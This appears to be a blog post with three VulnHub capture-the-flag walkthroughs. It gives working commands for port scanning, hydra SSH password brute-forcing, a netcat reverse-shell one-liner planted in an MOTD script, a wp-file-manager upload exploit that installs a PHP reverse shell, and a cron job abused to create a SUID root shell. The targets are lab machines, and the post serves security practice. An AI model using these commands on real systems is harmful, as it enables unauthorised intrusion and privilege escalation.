Category: vulnhub

Overview:

Target Machine IP Address: 192.168.56.122  
My Machine IP Address: 192.168.56.1

Mission:

Boot to Root
1. To get user flag
2. To get root flag
3. To get root access

Level: Easy

You need to read on motd to take down this machine.

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

sudo arp-scan --interface=vboxnet0 192.168.56.1/24

nmap -sC -sV -p- -Pn -o nmap.log 192.168.56.122

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
| STAT: 
| FTP server status:
| Connected to ::ffff:192.168.56.1
| Logged in as ftp
| TYPE: ASCII

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Viewing the source code:

<!– Username : sysadmin –>

Since the machine is running ssh, we will do a brute force using the username sysadmin.

hydra -l sysadmin -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.122 > hydra-sysadmin.log 

cat hydra-sysadmin.log

Password:password1

 

ssh sysadmin@192.168.56.122   #and the password password1

cat /etc/passwd

username: eftipi

Let’s bruteforce the password for eftipi

hydra -l eftipi -P /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt ssh://192.168.56.122 > hydra-eftipi.log

/home/sysadmin/ftp/.bash_history
/home/sysadmin/user.txt

User Flag:  48a365b4ce1e322a55ae9017f3daf0c0

 

vim  /etc/update-motd.d/00-header

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.1 1234 >/tmp/f

Source: We will use bash onliner for reverse shell. Reference 1, 2,  3,  4.

Note:

“I saved the file and set up my NetCat listener. Since the MOTD is triggered by a user logging into the system, I logged in as sysadmin. I didn’t get a reverse shell. But when I logged in as eftipi, I received my root shell.” – source

By the way, I got the hydra result now 🙂

[22][ssh] host: 192.168.56.122 login: eftipi password: password3

As soon as I login with above credential, I received a reverse connection with root privilege (because of motd).

Flag:

root flag: 1eedddf9fff436e6648b5e51cb0d2ec7

 

 

 

Overview:

Target Machine IP Address: 192.168.56.121  
My Machine IP Address: 192.168.56.1

Mission:

Boot to Root
1. To get user flag
2. To get root flag
3. To get root access

Level: Medium

Although author mentioned it was easy but it took me close to 5 hours to take this down.

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

sudo arp-scan --interface=vboxnet0 192.168.56.1/24

We came to know our target or victim machine IP: 192.168.56.121

nmap -sC -sV -p- -Pn 192.168.56.121 -o nmap.log

Output: (Information redacted)

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)

Browsing website:

Searching Directory in Webserver

gobuster dir -u 192.168.56.121 -o gobuster.log

Output:

When we visit http://192.168.56.121/blog

We understood that it is running a wordpress website. Therefore, I ran wpscan to get more information about the website.

wpscan --stealthy --url http://192.168.56.121/blog/ --plugins-version-detection aggressive --plugins-detection aggressive  -o wpscan-version.log

We came to know that the website is running an old plugin called ‘wp-file-manager’.

Vulnerable plugin: wp-file-manager
Version: 6.0

By googling regarding exploit for the plugin

Detail can be viewed from here.

On Kali Linux Machine:

wget https://ypcs.fi/misc/code/pocs/2020-wp-file-manager-v67.py

cp cp /usr/share/webshells/php/php-reverse-shell.php .

mv php-reverse-shell.php payload.php   (the reason why I rename this file is because I am trying to follow the PoC mentioned in this link)

We have to mention the Target IP address and Port Number in payload.php;  in that case, it is 192.168.56.1 and 1234 (port number)

curl -k -F cmd=upload -F target=l1_ -F debug=1 -F 'upload[]=@payload.php' -X POST http://192.168.56.121/blog/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

Open a new Terminal Kali Linux Machine:

nc -lvp 1234

On Kali Linux Machine (continue with the above curl command):

curl -kiLsS http://192.168.56.121/blog/wp-content/plugins/wp-file-manager/lib/files/payload.php

Do you see that on that new Terminal Window, you received a reverse connection.

$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ which python3
/usr/bin/python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@Aragog:/$ export TERM=xterm
export TERM=xterm

User Flag: (There were two users and I know you will figure it out that under which user it has the userflag)

horcrux1.txt
horcrux_{MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==}

─$ echo "MTogUmlkRGxFJ3MgRGlBcnkgZEVzdHJvWWVkIEJ5IGhhUnJ5IGluIGNoYU1iRXIgb2YgU2VDcmV0cw==" | base64 -d 
1: RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets

Since we know that the website was a WordPress based site, so I went to check for wp-config file and I was not able to find it under the usual location.

My knowledge on server setup came into handy.

The website directory or the website is located here /usr/share/wordpress

However, I know that this wp-config.php is not the real file. I am little impressed with the machine designer because one of my role in the current organization where I work is to setup WordPress environment and I tried my best to structure it in a way that hacker will face tough time to get it. Likewise, if I know how the machine designer place it’s wp-config.php, I will implement it in my upcoming project work. Anyway, let’s find where it is located.

ls -lah

cd /etc/wordpress
ls -lah 
cat config-default.php

DB_NAME: wordpress
DB_USER: root
DB_PASSWORD: mySecr3tPass

 

On Kali Linux Machine:

echo "$P$BYdTic1NGSb8hJbpVEMiJaAiNJDHtc." > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

john --show

Do you recall that during the scanning phases (initial), we came to know that the machine is running with ssh service. Let’s try to login it with using the following credentials…

username: hagrid98
password: password123
Machine: 192.168.56.121

ssh hagrid98@192.168.56.121    #we got login

I was playing around and couldn’t find anything useful. It is my ritual that at this time if I don’t get anything useful, I run linpeas.sh on the victim machine (I hope you have already picked-up how to do this by now, I mean using SimpleHTTPServer 🙂 ).

I came to know that the machine has a weird file

-rwxr-xr-x 1 hagrid98 hagrid98 81 Apr 1 20:03 /opt/.backup.sh

cat /opt/.backup.sh

#!/bin/bash
cp -r /usr/share/wordpress/wp-content/uploads/ /tmp/tmp_wp_uploads

When I check the permission of the folder at /tmp/tmp_wp_uploads; do you see what I see? (It has root for user and group)

Although user hagrid98 has no crontab entry but it looks like root user has. Therefore, let us add the following line as the entry to the above file .backup.sh.

cp /bin/bash /tmp/bash && chmod +s /tmp/bash

Note: set user or group ID on execution (s) chmod +s is used.

I waited around 5 minutes and finally I got what I wanted, the binary with execute permission enabled.

hagrid98@Aragog:/tmp$ ls -lah
total 2.3M
drwxrwxrwt 10 root root 4.0K May 28 17:28 .
drwxr-xr-x 18 root root 4.0K Mar 31 17:52 ..
-rwsr-sr-x 1 root root 1.2M May 28 17:32 bash
-rwxr-xr-x 1 root root 1.2M May 28 17:24 bash1
drwxrwxrwt 2 root root 4.0K May 28 12:42 .font-unix
drwxrwxrwt 2 root root 4.0K May 28 12:42 .ICE-unix
drwx------ 3 root root 4.0K May 28 12:42 systemd-private-b275630ffd804e5187080888580cb0b0-apache2.service-JVTT6g
drwx------ 3 root root 4.0K May 28 12:42 systemd-private-b275630ffd804e5187080888580cb0b0-systemd-timesyncd.service-AHdvzF
drwxrwxrwt 2 root root 4.0K May 28 12:42 .Test-unix
drwxr-xr-x 5 root root 4.0K May 28 12:46 tmp_wp_uploads
drwxrwxrwt 2 root root 4.0K May 28 12:42 .X11-unix
drwxrwxrwt 2 root root 4.0K May 28 12:42 .XIM-unix
hagrid98@Aragog:/tmp$

hagrid98@Aragog:/tmp$ ./bash -p       #visit this link if you don't know why i used this line of command

hocrux: horcrux_{MjogbWFSdm9MbyBHYVVudCdzIHJpTmcgZGVTdHJPeWVkIGJZIERVbWJsZWRPcmU=}
In muggle terms: 2: maRvoLo GaUnt's riNg deStrOyed bY DUmbledOre

 

 

Overview:

Target Machine IP Address: 192.168.56.118  
My Machine IP Address: 192.168.56.1

Mission:

Boot to Root
1. To get user flag
2. To get root flag
3. To get root access

Level: Easy/Medium

If you know how to do ssh tunneling and know what is 'BrainFuck'. I think you are good to go.

Download:

You can download the machine from here.

************************************

Information Gathering & Scanning Process:

IP: 192.168.56.118  (which spits out by machine and we do not need to search for it)

*************************************

Since I know the machine IP address, I went ahead to do some manual assessment while running the following command (which helps to collects pretty much everything I required to know about this machine)

Browse 192.168.56.118/robots.txt

All those list of sub-directories were bogus but at the bottom, I noticed a strange character..

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>+++++++++++++++++.>>---.+++++++++++.------.-----.<<--.>>++++++++++++++++++.++.-----..-.+++.++.

Initially I thought it was some kind of encrypted code but later I came to under it is another programming language called ‘BrainFuck’.

I used this link to convert the string.

Value we got:/alfa-support

*************************************

Browse: 192.168.56.118/alfa-support

 

Password Pattern: pet followed by 3 numerical digits.   

  <—————————– Let’s keep all the above steps within stage 1.  —————————–>

 

<————————————————– Stage 2 Begins  —————————–———————>

autorecon 192.168.56.118

cat _full_tcp_nmap.txt | less

ftp 192.168.56.118 
username: anonymous
password: anonymous 
ls
cd thomas
get milo.jpg

exiftool milo.jpg (didn't find anything useful)

From stage 1, we can conclude that the pet’s name is milo.

Password pattern is milo$i$j$k    ($i$j$k represents three digits)

Let’s write a script to prepare a list of password.

vim script.sh

#!/usr/bin/bash
for i in {0..9}; do
    for j in {0..9}; do 
        for k in {0..9}; do 
            echo "milo$i$j$k" >> password.txt
        done
    done
done

chmod +x script.sh./script.sh

I tried a python script for the task 🙂

#!/usr/bin/python3
import sys
with open('password.txt', 'w') as f:
sys.stdout = f 
for i in range(1, 10): 
    for j in range(1, 10):
        for k in range(1,10):
            print("milo"+str(i)+str(j)+str(k))

Brute Force SSH using Hydra

hydra -l thomas -P password.txt -s 65111 ssh://192.168.56.118

username: thomas
password: milo666

cat _full_tcp_nmap.txt | less

 

ssh thomas@192.168.56.118 -p 65111

user_flag==>> M4Mh5FX8EGGGSV6CseRuyyskG   (Solution 1)

scp -P 65111 thomas@192.168.56.118:/home/thomas/.remote_secret .          #Saved Remote File (Keep in mind)

I tried to perform file, strings, cat, binwalk etc.. no use lol

I tried to evaluate the target machine with the help of linpea.sh program 

Miscellaneous Steps :

On Kali Machine:  
cd /path-to-linpea.sh/
python3 -m http.server 

On Target or Victim Machine: 
cd /tmp
wget 192.168.56.118/linpea.sh 
chmod +x linpea.sh 
sh linpea.sh

Port 5901

We have password from the above information. Do you remember this file .remote_secret ?

vncviewer -passwd .remote_secret 192.168.56.118:5901

I think I need to port forward or bind (like ssh tunneling). Let’s do some googling

ssh -p 65111 -L 5901:localhost:5901 thomas@192.168.56.118

vncviewer -passwd .remote_secret localhost:5901

Viola!!  We got the root flag as well as root access 🙂